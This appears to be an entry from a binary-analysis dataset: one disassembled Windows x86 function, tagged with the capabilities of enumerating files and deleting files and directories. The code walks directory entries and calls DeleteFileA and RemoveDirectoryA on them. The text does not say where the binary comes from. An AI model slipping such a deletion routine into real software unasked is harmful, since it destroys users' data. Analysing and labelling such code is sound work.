Function at 0x41e3d0
Capabilities:
Delete directory
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45b974
mov eax, dword fs:[0]
push eax
sub esp, 0x3dc
mov eax, dword [0x471090]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x234], 0
push 0x103
push 0
lea eax, [ebp - 0x233]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x240], 0
mov byte [ebp - 0x124], 0
push 0x103
push 0
lea ecx, [ebp - 0x123]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x244], 0
jmp 0x41e46b
mov edx, dword [ebp - 0x244]
add edx, 1
mov dword [ebp - 0x244], edx
cmp dword [ebp - 0x244], 0x19
jge 0x41e4b2
call dword [sym.imp.MSVCR90.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x244]
mov byte [ebp + eax - 0x234], dl
call dword [sym.imp.MSVCR90.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x244]
mov byte [ebp + eax - 0x124], dl
jmp 0x41e45c
cmp dword [ebp - 0x240], 0
je 0x41e4e2
lea ecx, [ebp - 0x124]
test ecx, ecx
je 0x41e4e2
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x41e4e2
mov dword [ebp - 0x3e8], 2
jmp 0x41e4ec
mov dword [ebp - 0x3e8], 1
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x235], 1
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x248], 0
jmp 0x41e530
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0x248], edx
movzx eax, byte [ebp - 0x125]
test eax, eax
jne 0x41e754
mov ecx, dword [ebp - 0x248]
cmp ecx, dword [ebp - 0x10]
jge 0x41e754
lea edx, [ebp - 0x234]
push edx
lea ecx, [ebp - 0x264]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
test eax, eax
je 0x41e598
cmp dword [ebp - 0x248], 1
jne 0x41e5a9
push 0x4642ac
lea ecx, [ebp - 0x3c8]
call dword [0x46317c]
lea ecx, [ebp - 0x3c8]
push ecx
lea ecx, [ebp - 0x264]
call dword [0x463194]
mov dword [ebp - 0x268], 0
lea edx, [ebp - 0x3ac]
push edx
lea ecx, [ebp - 0x264]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0xffffffff
je 0x41e72c
movsx eax, byte [ebp - 0x380]
cmp eax, 0x2e
je 0x41e6d4
lea ecx, [ebp - 0x234]
push ecx
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov byte [ebp - 4], 2
push 0x4642b0
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea edx, [ebp - 0x380]
push edx
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov eax, dword [ebp - 0x3ac]
and eax, 0x10
je 0x41e6a1
cmp dword [ebp - 0x240], 0
je 0x41e69f
cmp dword [ebp - 0x248], 1
je 0x41e661
cmp dword [ebp - 0x10], 1
jne 0x41e69f
lea ecx, [ebp - 0x124]
test ecx, ecx
je 0x41e67c
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x41e69f
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
sub eax, 1
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x235], al
jmp 0x41e6c4
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub eax, 1
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x235], al
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x125], al
movzx ecx, byte [ebp - 0x125]
test ecx, ecx
jne 0x41e71f
movzx edx, byte [ebp - 0x235]
test edx, edx
je 0x41e71f
lea eax, [ebp - 0x3ac]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41e5f3
mov edx, dword [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x264]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x41e521
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.0045ae26
mov esp, ebp
pop ebp
ret